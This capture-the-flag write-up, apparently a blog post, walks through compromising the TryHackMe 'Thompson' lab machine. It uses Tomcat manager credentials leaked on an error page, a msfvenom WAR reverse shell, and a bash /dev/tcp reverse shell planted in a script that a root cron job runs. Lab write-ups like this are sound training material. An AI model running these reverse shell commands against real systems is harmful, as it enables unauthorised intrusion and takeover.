TryHackMe

Thompson

[Room:https://tryhackme.com/room/bsidesgtthompson]
[Level: Easy]

In this room, I encountered new services like apache tomcat, apache jserv protocol and had to research a bit about these services.

I started with port scanning using rustscan.

rustscan -a <VICTIM_IP> -r1-65535 --accessible

port scanning with rustscan

Let’s break down the command:
-a : ip address of victim
-r : range to ports to scan
— accessible : a nice way to not print the banner (Not required)

I saw three open ports and immediately used nmap to check what services are running on these ports.

nmap -sCV <VICTIM_IP> -p<PORTS_TO_SCAN>

detecting services with nmap

Since there is a webserver on port 8080, I navigated to it.

apache tomcat homepage

After researching and reading the doc, I found that there is a ‘/manager’ and ‘/host-manager’ route. The ‘/manager’ interface provides features for managing the web applications and the entire container(here).

tomcat manager route

After navigating to the ‘/manager’ route, I was prompted for a username and password which I didn’t have. So, I cancelled it and suprisingly there were credentials on the error page.

credentials leak

So, I tried logging in again.

manager login

After logging in, I found a section where I could upload WAR files. I created a WAR reverseshell payload using msfvenom (here).

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4242 -f war > reverse.war

war payload crafting

After uploading the reverse.war file, I found a new route, ‘/reverse’, in the Applications table.

new route: /reverse

However, before visiting the new route, I set up a netcat listener so that I could catch the reverse shell.

netcat listener

Then, I visited the new route ‘/reverse’ and got a shell on my terminal (where I setup the netcat listener).

netcat shell capture

I, then, upgraded my shell to a stable one (here).

python3 -c "import pty; pty.spawn('/bin/bash')"
[CTRL+Z]
stty raw -echo;fg
export TERM=xterm

upgrading to a stable shell

user.txt

user.txt

The ‘id.sh’ file seemed interesting because anyone can read, write and execute it.

something interesting is happening

What this script does is that it executes the id command and stores it’s output to a file test.txt.

Get Vin’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

The ‘id.sh’ file is owned by jack but the file that the script creates (‘test.txt’) is owned by root. I checked if a cronjob was running this script and I was right.

cronjob

Since the file was writable by anyone, I placed a reverseshell script there.

bash -i >& /dev/tcp/<YOUR_IP>/<LPORT> 0>&1

root revershell exploit

After saving the file, I set-up a netcat listener on port 1234.

netcat listener

A few moments later, I got received a root shell.

netcat root shell capture

root.txt

root.txt

Enjoy:)